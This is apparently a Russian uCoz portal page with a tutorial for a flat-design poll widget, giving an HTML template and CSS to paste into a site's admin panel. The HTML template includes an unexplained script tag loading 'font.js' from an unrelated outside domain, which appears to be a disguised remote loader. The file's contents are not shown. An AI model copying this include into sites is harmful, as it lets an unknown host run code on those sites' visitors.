Понедельник, 14.10.2024, 17:24
Программы,Аудиокниги,Скрипты,Онлайн фильмы
–Не обязательно знать, что ждет впереди. Тебя направляет твоя высшая истина, и куда бы она ни привела, это и будет то, что тебе нужно.
Ричард Бах

Главная Регистрация Вход
 Приветствую Вас, Гость · RSS
Меню сайта
Новости сайта

Queen - Greatest Hits II (2011 Remaster) (1603)
Мантры высшего Счастья: Любовь (1884)
Бонус сайта (1609)
Аллен Карр - Легкий способ жить без тревог и волнений /аудиокнига/ MP3 (2704)
Борис Акунин (1734)
Таблица кодов всех цветов для ваших сайтов (1452)
1CLICK DVD Converter 2.1.6.9 (1584)
Петропавловская крепость (2073)
Прямая ссылка на новость (1596)
Аутогенное моделирование и коррекция фигуры /аудиокнига / MP3 (2104)
Пауло Коэльо - Дневник мага ( аудиокнига ) (2473)
Шоу двух M&M's ов на вашем рабочем столе(M&M's_Screenmate) (3696)
Необыкновенные приключения Буратино и его друзей (аудиоспектакль) (2042)
Assassins Creed Bloodlines (2009) (RUS) (PSP) (1495)
Виртуальный охранник (детектор движения) (2005) (3066)
Мини-Сайт 3.7 Portable Rus (2017)
Луин Майкл - Умей задать вопрос (Аудиокнига,Детектив) (1848)
Скачать бесплатно Stronghold Legends - Легенды Цитадели (7522)
Красивый аквариум на рабочий стол (2229)
Файловый менеджер-MultiCommander (2052)

Прикольные Смайлики и Статусы для майл агента 5.7 Новые смайлики
Просмотров:[16496]
Скачиваний:[180]
Мощный анализатор ставок на рулетке Easy Roulette 2
Просмотров:[10719]
Скачиваний:[423]
Кнопка «Класс!» Одноклассники
Просмотров:[7923]
Скачиваний:[0]
Скачать бесплатно Stronghold Legends - Легенды Цитадели
Просмотров:[7522]
Скачиваний:[434]
Скачать Славянская клиника - Похудеть без диет и голода (аудиокурс/7 CD)
Просмотров:[7088]
Скачиваний:[91]
Java скрипт - Генератор кода для выпадающего меню
Просмотров:[6867]
Скачиваний:[0]
Отправить смс любым операторам бывшего снг
Просмотров:[6775]
Скачиваний:[159]

Описание и настройка HandyCache
Просмотров:[18443]

Как перевести деньги с телефона на телефон по Украине
Просмотров:[17669]


  • Притчи
  • [Жизнь прекрасна!Женские рассказы]
  • Анекдоты
  • [Анекдоты]
  • Любовь
  • [Любовь]

  •  
    Главная » 2014 » Февраль » 28 » Вид опроса для uCoz в стиле Flat дизайна
    12:00
    Вид опроса для uCoz в стиле Flat дизайна

    В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста

    Установка:

    Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот:

    Код
    <div class="cell-poll">
      <div class="cell-poll-title">$QUESTION$</div>  
      <div class="cell-poll-answers">$ANSWERS$</div>
      <div class="cell-poll-link">
      <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
      <a href="$RESULTS_LINK$" >Результаты </a>
      <b> | </b>
      <a href="$ARCHIVE_LINK$">Архив </a>  
      </div>  
    </div>
    <script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript">
    var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15'];
    for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);}
    $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});
    </script>


    Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код:

    Код
    /* Вид опроса для uCoz, в стили flat v2
    ------------------------------------------*/
    .cell-poll{
      float:left;
      width:230px;
      color:#666;
      background: #fff;
      padding: 10px 10px 10px 10px;  
      border: 1px solid #B6C0CD;  
      border-radius:5px;  
    }

    .cell-poll-title{
      float:left;
      width:100%;
      padding-bottom: 10px;
      border-bottom: 1px solid #B6C0CD;
      font:12px Verdana,Arial,Helvetica, sans-serif;
      font-weight:bold;
      text-align:center;
      color:#777;  
    }

    .cell-poll a {text-decoration:none; outline:none}

    .cell-poll-answers{
      float:left;
      width:100%;
      margin: 10px 0px 10px 0px;  
      text-align:left;
    }

    .answer {display: block;}

    .answer input{margin: 3px 5px 2px 5px;}
    .answer label {margin: 2px 0px 2px 0px; color:#555;}

    .progress {
      height: 15px;
      overflow: hidden;
      margin: 5px 0px 7px 0px;
      height: 15px!important;
      background: #F4F8F9!important;
    }

    .progress-0,
    .progress-1,
    .progress-2,
    .progress-3,
    .progress-4,
    .progress-5,
    .progress-6,
    .progress-7,
    .progress-8,
    .progress-9,
    .progress-10,
    .progress-11,
    .progress-12,
    .progress-13,
    .progress-14 {
      height: 18px!important;
      display: block!important;
      overflow: hidden!important;
      margin-top: -3px;
    }

    .progress-0 {background: #5D9AD3!important;}
    .progress-1 {background: #E96465!important;}
    .progress-2 {background: #F6954E!important;}
    .progress-3 {background: #dd8cd2!important;}
    .progress-4 {background: #75D0ED!important;}
    .progress-5 {background: #5BC254!important;}
    .progress-6 {background: #CFC72D!important;}
    .progress-7 {background: #DD3344!important;}
    .progress-8 {background: #FE9B6F!important;}
    .progress-9 {background: #8CC84B!important;}
    .progress-10 {background: #DD8CD2!important;}
    .progress-11 {background: #e9eb5b!important;}
    .progress-12 {background: #E96465!important;}
    .progress-13 {background: #75D0ED!important;}
    .progress-14 {background: #5D9AD3!important;}

    .pollBut{
      cursor:pointer;
      border:none!important;  
      margin-top:10px;
      background: #64b0db!important;  
      padding: 5px 20px 5px 20px!important;  

      font:11px Verdana,Arial,Helvetica, sans-serif!important;  
      font-weight: bold!important;  
      color:#fff!important;  
    }

    .pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
    .pollBut:hover {background:#51a4d2!important;}

    .cell-poll-link{
      float:left;
      width:100%;
      padding-top: 10px;
      border-top: 1px solid #B6C0CD;
       
      font:9px Verdana,Arial,Helvetica, sans-serif;
      color:#999;
    }

    .cell-poll-link span{float:left;}
    .cell-poll-link b,
    .cell-poll-link a {float:right;}
    .cell-poll-link b {color:#B6C0CD;}


    Готово! Теперь, дизайн опроса готов, все налажено и рабочее, можете установить себе тестовый опрос, чтобы протестировать данный скрипт для uCoz. На этом все, спасибо вам за внимание!
    Просмотров: 1235 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Copyright MyCorp © 2024

    Мультфильм Скрипт смотреть онлайн аудиокнига Программы 2010 Windows soft Rus build 2013 Multi Ashampoo studio Professional ENG СКАЧАТЬ БЕСПЛАТНО final скачать бесплатно ccleaner Utilities Portable adobe converter video русский Repack photo pro KpoJIuK ultimate D!akov Edition Advanced player Auslogics BoostSpeed PC рс 365 Commander Care Wise 2014 uninstall TooL Download Internet Business
    Заработать Твиттер



    Поиск
    Услуги
    Бесплатный Хостинг
    Посоветовать страницу

    Аудиокнига случайная
    Харуки Мураками. Мой любимый sputnik (1919)
    Вальс на прощание (1701)
    "Малый прыжок в английский" А. Драгункин (2370)
    Коннелли Майкл - Эхо-парк Детектив,Аудиокнига (1681)
    Кук Робин - Грань риска (Мистика,Аудиокнига) (1370)
    Практический курс Трансерфинга за 78 дней – Вадим Зеланд (2149)
    Freak Out Extreme Freeride (2007) (ENG) (PSP) (1560)
    Беркем А.- МАРОДЁР (1756)
    mp3, скачать, Юмористическая, аудиокнига, Алекс Экслер, литература, слушать, кота Шашлыка, Записки, юмор (4481)
    Петр Китаев - Жилец без прописки (Детектив,Аудиокнига) (1980)
    Шёлк Аудио книга (1903)
    Антология юмора (1905)
    Аудиокнига - Уроки соблазнения и пикапа (2348)
    Пауло Коэльо-Заир,аудио книга (2404)
    Харуки Мураками. "Послемрак" (1973)
    Вход
    Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Copyright MyCorp © 2024
    Яндекс.Метрика
    |